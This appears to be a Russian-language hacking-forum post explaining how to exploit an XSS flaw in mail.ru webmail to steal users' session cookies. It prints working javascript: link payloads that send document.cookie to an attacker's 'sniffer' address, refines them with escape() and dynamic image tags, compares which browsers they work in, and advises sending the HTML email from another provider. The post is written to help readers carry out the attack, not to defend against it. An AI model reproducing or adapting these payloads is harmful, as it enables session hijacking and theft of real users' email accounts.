"мужики" все в Париже, а вот Я помогу тебе разобраться.
Начнем с того, что "багу" до сих пор еще не прикрыли, это свидетельствует о степени ее опасности. При том, что обычная пассивка на мыл ру, запощенная в этот раздел, держится дай бог неделю, косвенно можно предположить, какова цена этой "свежей" "баги" (с т.зр. саппорта через призму всех отписавшихся до меня

) .
Так вот, почему ее не прикрыли... Потому что уже сравнительно давно переход по
такой ссылке на мыл ру опосредуется принудительно вставляемым в тег ссылки атрибутом target c параметром "_blank". Это значит, что
перед тем, как попасть в адресную строку (на выполнение), твой код
javascript:document.images[0].src='http://адрес сниффера/s.gif?'+document.cookie; будет помещен на новую страницу. Это все равно что самостоятельно открыть новую страницу, вписать в адресную строку этот код и ждать прихода кук !

А алерты, конечно, пойдут! Только вот, видимо, очень плохо доходит инфа, что если где-то вдруг выскочил алерт, это не значит, что найдена бага XSS.
В отличие от этого, когда ты нажимаешь правой кнопкой "открыть", браузер сам берет ссылку с псевдоскриптом и выполняет его непосредственно в контексте того домена, откуда ее взял. Атрибут target при этом игнорируется. Вот почему ты видишь свои куки в этом случае. Но в ИЕ это не проходит, а в ФФ ссылка правой кнопкой открывается только в новом окне. Остается из популярных только Опера.
Теперь мы пойдем дальше и попробуем выжать из ситуации максимум
Когда ссылка, нажатая обычным образом или через правую кнопку, открывается в новом окне, где нет никаких картинок, нет смысла обращаться к первой картинке на странице, используя document.images[0].src ! Заменям это обычным динамическим созданием объекта картинки: img=new Image(); img.src
Далее, если посмотреть исходный код открывшейся страницы (при нажатии на ссылку обычным образом), там мы увидим, что на станице отобразилось все, что идет после src= , то есть адрес твоего сниффа. Используем это, вставляя на страницу код, отсылающий куки.
XSS примет вид:
PHP код:
<a href="javascript:img=new Image();img.src='<img src=http://адрес_сниффера/s.gif?'+escape(document.cookie)+'>';">text</a>
Объясняю:
- на голую страницу помещается тег img c адресом сниффера
- но к этому адресу динамически прибавляются куки. Однако, куки разделены пробелами, в связи с чем может образоваться обрыв строки и на снифф отправится только первая кука. Мы снимаем эту проблему, преобразуя строку куки функцией escape (обратная - unescape(строка)).
- и, наконец, закрываем тег img
Обычным нажатием этот код будет работать только в ФФ.
В Опере этот код сработает, только если открыть ссылку правой кнопкой.
В ИЕ не сработает.
Письмо отправлять в штмл не с маил ру.
Посмотрим теперь, как быстро прикроют эту "багу".
